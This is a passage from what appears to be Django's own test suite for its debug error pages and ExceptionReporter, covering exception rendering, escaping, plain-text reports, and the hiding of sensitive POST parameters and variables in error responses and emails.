self.client.get(reverse('raises_template_does_not_exist', kwargs={"path": template_name})) self.assertContains(response, "%s (Source does not exist)" % template_path, status_code=500, count=2) # Assert as HTML. self.assertContains( response, '<li><code>django.template.loaders.filesystem.Loader</code>: ' '%s (Source does not exist)</li>' % os.path.join(tempdir, 'notfound.html'), status_code=500, html=True, ) def test_no_template_source_loaders(self): """ Make sure if you don't specify a template, the debug view doesn't blow up. """ with self.assertLogs('django.request', 'ERROR'): with self.assertRaises(TemplateDoesNotExist): self.client.get('/render_no_template/') @override_settings(ROOT_URLCONF='view_tests.default_urls') def test_default_urlconf_template(self): """ Make sure that the default URLconf template is shown instead of the technical 404 page, if the user has not altered their URLconf yet. """ response = self.client.get('/') self.assertContains( response, "<h1>The install worked successfully! Congratulations!</h1>" ) @override_settings(ROOT_URLCONF='view_tests.regression_21530_urls') def test_regression_21530(self): """ Regression test for bug #21530. If the admin app include is replaced with exactly one url pattern, then the technical 404 template should be displayed. The bug here was that an AttributeError caused a 500 response. """ response = self.client.get('/') self.assertContains( response, "Page not found <span>(404)</span>", status_code=404 ) def test_template_encoding(self): """ The templates are loaded directly, not via a template loader, and should be opened as utf-8 charset as is the default specified on template engines. """ with mock.patch.object(DebugPath, 'open') as m: default_urlconf(None) m.assert_called_once_with(encoding='utf-8') m.reset_mock() technical_404_response(mock.MagicMock(), mock.Mock()) m.assert_called_once_with(encoding='utf-8') def test_technical_404_converter_raise_404(self): with mock.patch.object(IntConverter, 'to_python', side_effect=Http404): response = self.client.get('/path-post/1/') self.assertContains(response, 'Page not found', status_code=404) def test_exception_reporter_from_request(self): with self.assertLogs('django.request', 'ERROR'): response = self.client.get('/custom_reporter_class_view/') self.assertContains(response, 'custom traceback text', status_code=500) @override_settings(DEFAULT_EXCEPTION_REPORTER='view_tests.views.CustomExceptionReporter') def test_exception_reporter_from_settings(self): with self.assertLogs('django.request', 'ERROR'): response = self.client.get('/raises500/') self.assertContains(response, 'custom traceback text', status_code=500) @override_settings(DEFAULT_EXCEPTION_REPORTER='view_tests.views.TemplateOverrideExceptionReporter') def test_template_override_exception_reporter(self): with self.assertLogs('django.request', 'ERROR'): response = self.client.get('/raises500/') self.assertContains( response, '<h1>Oh no, an error occurred!</h1>', status_code=500, html=True, ) with self.assertLogs('django.request', 'ERROR'): response = self.client.get('/raises500/', HTTP_ACCEPT='text/plain') self.assertContains(response, 'Oh dear, an error occurred!', status_code=500) class DebugViewQueriesAllowedTests(SimpleTestCase): # May need a query to initialize MySQL connection databases = {'default'} def test_handle_db_exception(self): """ Ensure the debug view works when a database exception is raised by performing an invalid query and passing the exception to the debug view. """ with connection.cursor() as cursor: try: cursor.execute('INVALID SQL') except DatabaseError: exc_info = sys.exc_info() rf = RequestFactory() response = technical_500_response(rf.get('/'), *exc_info) self.assertContains(response, 'OperationalError at /', status_code=500) @override_settings( DEBUG=True, ROOT_URLCONF='view_tests.urls', # No template directories are configured, so no templates will be found. TEMPLATES=[{ 'BACKEND': 'django.template.backends.dummy.TemplateStrings', }], ) class NonDjangoTemplatesDebugViewTests(SimpleTestCase): def test_400(self): # When DEBUG=True, technical_500_template() is called. with self.assertLogs('django.security', 'WARNING'): response = self.client.get('/raises400/') self.assertContains(response, '<div class="context" id="', status_code=400) def test_400_bad_request(self): # When DEBUG=True, technical_500_template() is called. with self.assertLogs('django.request', 'WARNING') as cm: response = self.client.get('/raises400_bad_request/') self.assertContains(response, '<div class="context" id="', status_code=400) self.assertEqual( cm.records[0].getMessage(), 'Malformed request syntax: /raises400_bad_request/', ) def test_403(self): response = self.client.get('/raises403/') self.assertContains(response, '<h1>403 Forbidden</h1>', status_code=403) def test_404(self): response = self.client.get('/raises404/') self.assertEqual(response.status_code, 404) def test_template_not_found_error(self): # Raises a TemplateDoesNotExist exception and shows the debug view. url = reverse('raises_template_does_not_exist', kwargs={"path": "notfound.html"}) with self.assertLogs('django.request', 'ERROR'): response = self.client.get(url) self.assertContains(response, '<div class="context" id="', status_code=500) class ExceptionReporterTests(SimpleTestCase): rf = RequestFactory() def test_request_and_exception(self): "A simple exception report can be generated" try: request = self.rf.get('/test_view/') request.user = User() raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertInHTML('<h1>ValueError at /test_view/</h1>', html) self.assertIn('<pre class="exception_value">Can&#x27;t find my keys</pre>', html) self.assertIn('<th>Request Method:</th>', html) self.assertIn('<th>Request URL:</th>', html) self.assertIn('<h3 id="user-info">USER</h3>', html) self.assertIn('<p>jacob</p>', html) self.assertIn('<th>Exception Type:</th>', html) self.assertIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertNotIn('<p>Request data not supplied</p>', html) self.assertIn('<p>No POST data</p>', html) def test_no_request(self): "An exception report can be generated without request" try: raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertInHTML('<h1>ValueError</h1>', html) self.assertIn('<pre class="exception_value">Can&#x27;t find my keys</pre>', html) self.assertNotIn('<th>Request Method:</th>', html) self.assertNotIn('<th>Request URL:</th>', html) self.assertNotIn('<h3 id="user-info">USER</h3>', html) self.assertIn('<th>Exception Type:</th>', html) self.assertIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertIn('<p>Request data not supplied</p>', html) def test_sharing_traceback(self): try: raise ValueError('Oops') except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertIn( '<form action="https://dpaste.com/" name="pasteform" ' 'id="pasteform" method="post">', html, ) def test_eol_support(self): """The ExceptionReporter supports Unix, Windows and Macintosh EOL markers""" LINES = ['print %d' % i for i in range(1, 6)] reporter = ExceptionReporter(None, None, None, None) for newline in ['\n', '\r\n', '\r']: fd, filename = tempfile.mkstemp(text=False) os.write(fd, (newline.join(LINES) + newline).encode()) os.close(fd) try: self.assertEqual( reporter._get_lines_from_file(filename, 3, 2), (1, LINES[1:3], LINES[3], LINES[4:]) ) finally: os.unlink(filename) def test_no_exception(self): "An exception report can be generated for just a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, None, None) html = reporter.get_traceback_html() self.assertInHTML('<h1>Report at /test_view/</h1>', html) self.assertIn('<pre class="exception_value">No exception message supplied</pre>', html) self.assertIn('<th>Request Method:</th>', html) self.assertIn('<th>Request URL:</th>', html) self.assertNotIn('<th>Exception Type:</th>', html) self.assertNotIn('<th>Exception Value:</th>', html) self.assertNotIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertNotIn('<p>Request data not supplied</p>', html) def test_suppressed_context(self): try: try: raise RuntimeError("Can't find my keys") except RuntimeError: raise ValueError("Can't find my keys") from None except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertInHTML('<h1>ValueError</h1>', html) self.assertIn('<pre class="exception_value">Can&#x27;t find my keys</pre>', html) self.assertIn('<th>Exception Type:</th>', html) self.assertIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertIn('<p>Request data not supplied</p>', html) self.assertNotIn('During handling of the above exception', html) def test_innermost_exception_without_traceback(self): try: try: raise RuntimeError('Oops') except Exception as exc: new_exc = RuntimeError('My context') exc.__context__ = new_exc raise except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) frames = reporter.get_traceback_frames() self.assertEqual(len(frames), 2) html = reporter.get_traceback_html() self.assertInHTML('<h1>RuntimeError</h1>', html) self.assertIn('<pre class="exception_value">Oops</pre>', html) self.assertIn('<th>Exception Type:</th>', html) self.assertIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertIn('<p>Request data not supplied</p>', html) self.assertIn( 'During handling of the above exception (My context), another ' 'exception occurred', html, ) self.assertInHTML('<li class="frame user">None</li>', html) self.assertIn('Traceback (most recent call last):\n None', html) text = reporter.get_traceback_text() self.assertIn('Exception Type: RuntimeError', text) self.assertIn('Exception Value: Oops', text) self.assertIn('Traceback (most recent call last):\n None', text) self.assertIn( 'During handling of the above exception (My context), another ' 'exception occurred', text, ) def test_mid_stack_exception_without_traceback(self): try: try: raise RuntimeError('Inner Oops') except Exception as exc: new_exc = RuntimeError('My context') new_exc.__context__ = exc raise RuntimeError('Oops') from new_exc except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertInHTML('<h1>RuntimeError</h1>', html) self.assertIn('<pre class="exception_value">Oops</pre>', html) self.assertIn('<th>Exception Type:</th>', html) self.assertIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertInHTML('<li class="frame user">Traceback: None</li>', html) self.assertIn( 'During handling of the above exception (Inner Oops), another ' 'exception occurred:\n Traceback: None', html, ) text = reporter.get_traceback_text() self.assertIn('Exception Type: RuntimeError', text) self.assertIn('Exception Value: Oops', text) self.assertIn('Traceback (most recent call last):', text) self.assertIn( 'During handling of the above exception (Inner Oops), another ' 'exception occurred:\n Traceback: None', text, ) def test_reporting_of_nested_exceptions(self): request = self.rf.get('/test_view/') try: try: raise AttributeError(mark_safe('<p>Top level</p>')) except AttributeError as explicit: try: raise ValueError(mark_safe('<p>Second exception</p>')) from explicit except ValueError: raise IndexError(mark_safe('<p>Final exception</p>')) except Exception: # Custom exception handler, just pass it into ExceptionReporter exc_type, exc_value, tb = sys.exc_info() explicit_exc = 'The above exception ({0}) was the direct cause of the following exception:' implicit_exc = 'During handling of the above exception ({0}), another exception occurred:' reporter = ExceptionReporter(request, exc_type, exc_value, tb) html = reporter.get_traceback_html() # Both messages are twice on page -- one rendered as html, # one as plain text (for pastebin) self.assertEqual(2, html.count(explicit_exc.format('&lt;p&gt;Top level&lt;/p&gt;'))) self.assertEqual(2, html.count(implicit_exc.format('&lt;p&gt;Second exception&lt;/p&gt;'))) self.assertEqual(10, html.count('&lt;p&gt;Final exception&lt;/p&gt;')) text = reporter.get_traceback_text() self.assertIn(explicit_exc.format('<p>Top level</p>'), text) self.assertIn(implicit_exc.format('<p>Second exception</p>'), text) self.assertEqual(3, text.count('<p>Final exception</p>')) def test_reporting_frames_without_source(self): try: source = "def funcName():\n raise Error('Whoops')\nfuncName()" namespace = {} code = compile(source, 'generated', 'exec') exec(code, namespace) except Exception: exc_type, exc_value, tb = sys.exc_info() request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, exc_type, exc_value, tb) frames = reporter.get_traceback_frames() last_frame = frames[-1] self.assertEqual(last_frame['context_line'], '<source code not available>') self.assertEqual(last_frame['filename'], 'generated') self.assertEqual(last_frame['function'], 'funcName') self.assertEqual(last_frame['lineno'], 2) html = reporter.get_traceback_html() self.assertIn( '<span class="fname">generated</span>, line 2, in funcName', html, ) self.assertIn( '<code class="fname">generated</code>, line 2, in funcName', html, ) self.assertIn( '"generated", line 2, in funcName\n' ' &lt;source code not available&gt;', html, ) text = reporter.get_traceback_text() self.assertIn( '"generated", line 2, in funcName\n' ' <source code not available>', text, ) def test_reporting_frames_source_not_match(self): try: source = "def funcName():\n raise Error('Whoops')\nfuncName()" namespace = {} code = compile(source, 'generated', 'exec') exec(code, namespace) except Exception: exc_type, exc_value, tb = sys.exc_info() with mock.patch( 'django.views.debug.ExceptionReporter._get_source', return_value=['wrong source'], ): request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, exc_type, exc_value, tb) frames = reporter.get_traceback_frames() last_frame = frames[-1] self.assertEqual(last_frame['context_line'], '<source code not available>') self.assertEqual(last_frame['filename'], 'generated') self.assertEqual(last_frame['function'], 'funcName') self.assertEqual(last_frame['lineno'], 2) html = reporter.get_traceback_html() self.assertIn( '<span class="fname">generated</span>, line 2, in funcName', html, ) self.assertIn( '<code class="fname">generated</code>, line 2, in funcName', html, ) self.assertIn( '"generated", line 2, in funcName\n' ' &lt;source code not available&gt;', html, ) text = reporter.get_traceback_text() self.assertIn( '"generated", line 2, in funcName\n' ' <source code not available>', text, ) def test_reporting_frames_for_cyclic_reference(self): try: def test_func(): try: raise RuntimeError('outer') from RuntimeError('inner') except RuntimeError as exc: raise exc.__cause__ test_func() except Exception: exc_type, exc_value, tb = sys.exc_info() request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, exc_type, exc_value, tb) def generate_traceback_frames(*args, **kwargs): nonlocal tb_frames tb_frames = reporter.get_traceback_frames() tb_frames = None tb_generator = threading.Thread(target=generate_traceback_frames, daemon=True) msg = ( "Cycle in the exception chain detected: exception 'inner' " "encountered again." ) with self.assertWarnsMessage(ExceptionCycleWarning, msg): tb_generator.start() tb_generator.join(timeout=5) if tb_generator.is_alive(): # tb_generator is a daemon that runs until the main thread/process # exits. This is resource heavy when running the full test suite. # Setting the following values to None makes # reporter.get_traceback_frames() exit early. exc_value.__traceback__ = exc_value.__context__ = exc_value.__cause__ = None tb_generator.join() self.fail('Cyclic reference in Exception Reporter.get_traceback_frames()') if tb_frames is None: # can happen if the thread generating traceback got killed # or exception while generating the traceback self.fail('Traceback generation failed') last_frame = tb_frames[-1] self.assertIn('raise exc.__cause__', last_frame['context_line']) self.assertEqual(last_frame['filename'], __file__) self.assertEqual(last_frame['function'], 'test_func') def test_request_and_message(self): "A message can be provided in addition to a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, "I'm a little teapot", None) html = reporter.get_traceback_html() self.assertInHTML('<h1>Report at /test_view/</h1>', html) self.assertIn('<pre class="exception_value">I&#x27;m a little teapot</pre>', html) self.assertIn('<th>Request Method:</th>', html) self.assertIn('<th>Request URL:</th>', html) self.assertNotIn('<th>Exception Type:</th>', html) self.assertNotIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertNotIn('<p>Request data not supplied</p>', html) def test_message_only(self): reporter = ExceptionReporter(None, None, "I'm a little teapot", None) html = reporter.get_traceback_html() self.assertInHTML('<h1>Report</h1>', html) self.assertIn('<pre class="exception_value">I&#x27;m a little teapot</pre>', html) self.assertNotIn('<th>Request Method:</th>', html) self.assertNotIn('<th>Request URL:</th>', html) self.assertNotIn('<th>Exception Type:</th>', html) self.assertNotIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertIn('<p>Request data not supplied</p>', html) def test_non_utf8_values_handling(self): "Non-UTF-8 exceptions/values should not make the output generation choke." try: class NonUtf8Output(Exception): def __repr__(self): return b'EXC\xe9EXC' somevar = b'VAL\xe9VAL' # NOQA raise NonUtf8Output() except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertIn('VAL\\xe9VAL', html) self.assertIn('EXC\\xe9EXC', html) def test_local_variable_escaping(self): """Safe strings in local variables are escaped.""" try: local = mark_safe('<p>Local variable</p>') raise ValueError(local) except Exception: exc_type, exc_value, tb = sys.exc_info() html = ExceptionReporter(None, exc_type, exc_value, tb).get_traceback_html() self.assertIn('<td class="code"><pre>&#x27;&lt;p&gt;Local variable&lt;/p&gt;&#x27;</pre></td>', html) def test_unprintable_values_handling(self): "Unprintable values should not make the output generation choke." try: class OomOutput: def __repr__(self): raise MemoryError('OOM') oomvalue = OomOutput() # NOQA raise ValueError() except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertIn('<td class="code"><pre>Error in formatting', html) def test_too_large_values_handling(self): "Large values should not create a large HTML." large = 256 * 1024 repr_of_str_adds = len(repr('')) try: class LargeOutput: def __repr__(self): return repr('A' * large) largevalue = LargeOutput() # NOQA raise ValueError() except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertEqual(len(html) // 1024 // 128, 0) # still fit in 128Kb self.assertIn('&lt;trimmed %d bytes string&gt;' % (large + repr_of_str_adds,), html) def test_encoding_error(self): """ A UnicodeError displays a portion of the problematic string. HTML in safe strings is escaped. """ try: mark_safe('abcdefghijkl<p>mnὀp</p>qrstuwxyz').encode('ascii') except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertIn('<h2>Unicode error hint</h2>', html) self.assertIn('The string that could not be encoded/decoded was: ', html) self.assertIn('<strong>&lt;p&gt;mnὀp&lt;/p&gt;</strong>', html) def test_unfrozen_importlib(self): """ importlib is not a frozen app, but its loader thinks it's frozen which results in an ImportError. Refs #21443. """ try: request = self.rf.get('/test_view/') importlib.import_module('abc.def.invalid.name') except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertInHTML('<h1>ModuleNotFoundError at /test_view/</h1>', html) def test_ignore_traceback_evaluation_exceptions(self): """ Don't trip over exceptions generated by crafted objects when evaluating them while cleansing (#24455). """ class BrokenEvaluation(Exception): pass def broken_setup(): raise BrokenEvaluation request = self.rf.get('/test_view/') broken_lazy = SimpleLazyObject(broken_setup) try: bool(broken_lazy) except BrokenEvaluation: exc_type, exc_value, tb = sys.exc_info() self.assertIn( "BrokenEvaluation", ExceptionReporter(request, exc_type, exc_value, tb).get_traceback_html(), "Evaluation exception reason not mentioned in traceback" ) @override_settings(ALLOWED_HOSTS='example.com') def test_disallowed_host(self): "An exception report can be generated even for a disallowed host." request = self.rf.get('/', HTTP_HOST='evil.com') reporter = ExceptionReporter(request, None, None, None) html = reporter.get_traceback_html() self.assertIn("http://evil.com/", html) def test_request_with_items_key(self): """ An exception report can be generated for requests with 'items' in request GET, POST, FILES, or COOKIES QueryDicts. """ value = '<td>items</td><td class="code"><pre>&#x27;Oops&#x27;</pre></td>' # GET request = self.rf.get('/test_view/?items=Oops') reporter = ExceptionReporter(request, None, None, None) html = reporter.get_traceback_html() self.assertInHTML(value, html) # POST request = self.rf.post('/test_view/', data={'items': 'Oops'}) reporter = ExceptionReporter(request, None, None, None) html = reporter.get_traceback_html() self.assertInHTML(value, html) # FILES fp = StringIO('filecontent') request = self.rf.post('/test_view/', data={'name': 'filename', 'items': fp}) reporter = ExceptionReporter(request, None, None, None) html = reporter.get_traceback_html() self.assertInHTML( '<td>items</td><td class="code"><pre>&lt;InMemoryUploadedFile: ' 'items (application/octet-stream)&gt;</pre></td>', html ) # COOKIES rf = RequestFactory() rf.cookies['items'] = 'Oops' request = rf.get('/test_view/') reporter = ExceptionReporter(request, None, None, None) html = reporter.get_traceback_html() self.assertInHTML('<td>items</td><td class="code"><pre>&#x27;Oops&#x27;</pre></td>', html) def test_exception_fetching_user(self): """ The error page can be rendered if the current user can't be retrieved (such as when the database is unavailable). """ class ExceptionUser: def __str__(self): raise Exception() request = self.rf.get('/test_view/') request.user = ExceptionUser() try: raise ValueError('Oops') except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertInHTML('<h1>ValueError at /test_view/</h1>', html) self.assertIn('<pre class="exception_value">Oops</pre>', html) self.assertIn('<h3 id="user-info">USER</h3>', html) self.assertIn('<p>[unable to retrieve the current user]</p>', html) text = reporter.get_traceback_text() self.assertIn('USER: [unable to retrieve the current user]', text) def test_template_encoding(self): """ The templates are loaded directly, not via a template loader, and should be opened as utf-8 charset as is the default specified on template engines. """ reporter = ExceptionReporter(None, None, None, None) with mock.patch.object(DebugPath, 'open') as m: reporter.get_traceback_html() m.assert_called_once_with(encoding='utf-8') m.reset_mock() reporter.get_traceback_text() m.assert_called_once_with(encoding='utf-8') @override_settings(ALLOWED_HOSTS=['example.com']) def test_get_raw_insecure_uri(self): factory = RequestFactory(HTTP_HOST='evil.com') tests = [ ('////absolute-uri', 'http://evil.com//absolute-uri'), ('/?foo=bar', 'http://evil.com/?foo=bar'), ('/path/with:colons', 'http://evil.com/path/with:colons'), ] for url, expected in tests: with self.subTest(url=url): request = factory.get(url) reporter = ExceptionReporter(request, None, None, None) self.assertEqual(reporter._get_raw_insecure_uri(), expected) class PlainTextReportTests(SimpleTestCase): rf = RequestFactory() def test_request_and_exception(self): "A simple exception report can be generated" try: request = self.rf.get('/test_view/') request.user = User() raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) text = reporter.get_traceback_text() self.assertIn('ValueError at /test_view/', text) self.assertIn("Can't find my keys", text) self.assertIn('Request Method:', text) self.assertIn('Request URL:', text) self.assertIn('USER: jacob', text) self.assertIn('Exception Type:', text) self.assertIn('Exception Value:', text) self.assertIn('Traceback (most recent call last):', text) self.assertIn('Request information:', text) self.assertNotIn('Request data not supplied', text) def test_no_request(self): "An exception report can be generated without request" try: raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) text = reporter.get_traceback_text() self.assertIn('ValueError', text) self.assertIn("Can't find my keys", text) self.assertNotIn('Request Method:', text) self.assertNotIn('Request URL:', text) self.assertNotIn('USER:', text) self.assertIn('Exception Type:', text) self.assertIn('Exception Value:', text) self.assertIn('Traceback (most recent call last):', text) self.assertIn('Request data not supplied', text) def test_no_exception(self): "An exception report can be generated for just a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, None, None) reporter.get_traceback_text() def test_request_and_message(self): "A message can be provided in addition to a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, "I'm a little teapot", None) reporter.get_traceback_text() @override_settings(DEBUG=True) def test_template_exception(self): request = self.rf.get('/test_view/') try: render(request, 'debug/template_error.html') except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) text = reporter.get_traceback_text() templ_path = Path(Path(__file__).parents[1], 'templates', 'debug', 'template_error.html') self.assertIn( 'Template error:\n' 'In template %(path)s, error at line 2\n' ' \'cycle\' tag requires at least two arguments\n' ' 1 : Template with error:\n' ' 2 : {%% cycle %%} \n' ' 3 : ' % {'path': templ_path}, text ) def test_request_with_items_key(self): """ An exception report can be generated for requests with 'items' in request GET, POST, FILES, or COOKIES QueryDicts. """ # GET request = self.rf.get('/test_view/?items=Oops') reporter = ExceptionReporter(request, None, None, None) text = reporter.get_traceback_text() self.assertIn("items = 'Oops'", text) # POST request = self.rf.post('/test_view/', data={'items': 'Oops'}) reporter = ExceptionReporter(request, None, None, None) text = reporter.get_traceback_text() self.assertIn("items = 'Oops'", text) # FILES fp = StringIO('filecontent') request = self.rf.post('/test_view/', data={'name': 'filename', 'items': fp}) reporter = ExceptionReporter(request, None, None, None) text = reporter.get_traceback_text() self.assertIn('items = <InMemoryUploadedFile:', text) # COOKIES rf = RequestFactory() rf.cookies['items'] = 'Oops' request = rf.get('/test_view/') reporter = ExceptionReporter(request, None, None, None) text = reporter.get_traceback_text() self.assertIn("items = 'Oops'", text) def test_message_only(self): reporter = ExceptionReporter(None, None, "I'm a little teapot", None) reporter.get_traceback_text() @override_settings(ALLOWED_HOSTS='example.com') def test_disallowed_host(self): "An exception report can be generated even for a disallowed host." request = self.rf.get('/', HTTP_HOST='evil.com') reporter = ExceptionReporter(request, None, None, None) text = reporter.get_traceback_text() self.assertIn("http://evil.com/", text) class ExceptionReportTestMixin: # Mixin used in the ExceptionReporterFilterTests and # AjaxResponseExceptionReporterFilter tests below breakfast_data = { 'sausage-key': 'sausage-value', 'baked-beans-key': 'baked-beans-value', 'hash-brown-key': 'hash-brown-value', 'bacon-key': 'bacon-value', } def verify_unsafe_response(self, view, check_for_vars=True, check_for_POST_params=True): """ Asserts that potentially sensitive info are displayed in the response. """ request = self.rf.post('/some_url/', self.breakfast_data) response = view(request) if check_for_vars: # All variables are shown. self.assertContains(response, 'cooked_eggs', status_code=500) self.assertContains(response, 'scrambled', status_code=500) self.assertContains(response, 'sauce', status_code=500) self.assertContains(response, 'worcestershire', status_code=500) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters are shown. self.assertContains(response, k, status_code=500) self.assertContains(response, v, status_code=500) def verify_safe_response(self, view, check_for_vars=True, check_for_POST_params=True): """ Asserts that certain sensitive info are not displayed in the response. """ request = self.rf.post('/some_url/', self.breakfast_data) response = view(request) if check_for_vars: # Non-sensitive variable's name and value are shown. self.assertContains(response, 'cooked_eggs', status_code=500) self.assertContains(response, 'scrambled', status_code=500) # Sensitive variable's name is shown but not its value. self.assertContains(response, 'sauce', status_code=500) self.assertNotContains(response, 'worcestershire', status_code=500) if check_for_POST_params: for k in self.breakfast_data: # All POST parameters' names are shown. self.assertContains(response, k, status_code=500) # Non-sensitive POST parameters' values are shown. self.assertContains(response, 'baked-beans-value', status_code=500) self.assertContains(response, 'hash-brown-value', status_code=500) # Sensitive POST parameters' values are not shown. self.assertNotContains(response, 'sausage-value', status_code=500) self.assertNotContains(response, 'bacon-value', status_code=500) def verify_paranoid_response(self, view, check_for_vars=True, check_for_POST_params=True): """ Asserts that no variables or POST parameters are displayed in the response. """ request = self.rf.post('/some_url/', self.breakfast_data) response = view(request) if check_for_vars: # Show variable names but not their values. self.assertContains(response, 'cooked_eggs', status_code=500) self.assertNotContains(response, 'scrambled', status_code=500) self.assertContains(response, 'sauce', status_code=500) self.assertNotContains(response, 'worcestershire', status_code=500) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters' names are shown. self.assertContains(response, k, status_code=500) # No POST parameters' values are shown. self.assertNotContains(response, v, status_code=500) def verify_unsafe_email(self, view, check_for_POST_params=True): """ Asserts that potentially sensitive info are displayed in the email report. """ with self.settings(ADMINS=[('Admin', 'admin@fattie-breakie.com')]): mail.outbox = [] # Empty outbox request = self.rf.post('/some_url/', self.breakfast_data) view(request) self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] # Frames vars are never shown in plain text email reports. body_plain = str(email.body) self.assertNotIn('cooked_eggs', body_plain) self.assertNotIn('scrambled', body_plain) self.assertNotIn('sauce', body_plain) self.assertNotIn('worcestershire', body_plain) # Frames vars are shown in html email reports. body_html = str(email.alternatives[0][0]) self.assertIn('cooked_eggs', body_html) self.assertIn('scrambled', body_html) self.assertIn('sauce', body_html) self.assertIn('worcestershire', body_html) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters are shown. self.assertIn(k, body_plain) self.assertIn(v, body_plain) self.assertIn(k, body_html) self.assertIn(v, body_html) def verify_safe_email(self, view, check_for_POST_params=True): """ Asserts that certain sensitive info are not displayed in the email report. """ with self.settings(ADMINS=[('Admin', 'admin@fattie-breakie.com')]): mail.outbox = [] # Empty outbox request = self.rf.post('/some_url/', self.breakfast_data) view(request) self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] # Frames vars are never shown in plain text email reports. body_plain = str(email.body) self.assertNotIn('cooked_eggs', body_plain) self.assertNotIn('scrambled', body_plain) self.assertNotIn('sauce', body_plain) self.assertNotIn('worcestershire', body_plain) # Frames vars are shown in html email reports. body_html = str(email.alternatives[0][0]) self.assertIn('cooked_eggs', body_html) self.assertIn('scrambled', body_html) self.assertIn('sauce', body_html) self.assertNotIn('worcestershire', body_html) if check_for_POST_params: for k in self.breakfast_data: # All POST parameters' names are shown. self.assertIn(k, body_plain) # Non-sensitive POST parameters' values are shown. self.assertIn('baked-beans-value', body_plain) self.assertIn('hash-brown-value', body_plain) self.assertIn('baked-beans-value', body_html) self.assertIn('hash-brown-value', body_html) # Sensitive POST parameters' values are not shown. self.assertNotIn('sausage-value', body_plain) self.assertNotIn('bacon-value', body_plain) self.assertNotIn('sausage-value', body_html) self.assertNotIn('bacon-value', body_html) def verify_paranoid_email(self, view): """ Asserts that no variables or POST parameters are displayed in the email report. """ with self.settings(ADMINS=[('Admin', 'admin@fattie-breakie.com')]): mail.outbox = [] # Empty outbox request = self.rf.post('/some_url/', self.breakfast_data) view(request) self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] # Frames vars are never shown in plain text email reports. body = str(email.body) self.assertNotIn('cooked_eggs', body) self.assertNotIn('scrambled', body) self.assertNotIn('sauce', body) self.assertNotIn('worcestershire', body) for k, v in self.breakfast_data.items(): # All POST parameters' names are shown. self.assertIn(k, body) # No POST parameters' values are shown. self.assertNotIn(v, body) @override_settings(ROOT_URLCONF='view_tests.urls') class ExceptionReporterFilterTests(ExceptionReportTestMixin, LoggingCaptureMixin, SimpleTestCase): """ Sensitive information can be filtered out of error reports (#14614). """ rf = RequestFactory() def test_non_sensitive_request(self): """ Everything (request info and frame variables) can bee seen in the default error reports for non-sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(non_sensitive_view) self.verify_unsafe_email(non_sensitive_view) with self.settings(DEBUG=False): self.verify_unsafe_response(non_sensitive_view) self.verify_unsafe_email(non_sensitive_view) def test_sensitive_request(self): """ Sensitive POST parameters and frame variables cannot be seen in the default error reports for sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_view) self.verify_unsafe_email(sensitive_view) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_view) self.verify_safe_email(sensitive_view) def test_paranoid_request(self): """ No POST parameters and frame variables can be seen in the default error reports for "paranoid" requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(paranoid_view) 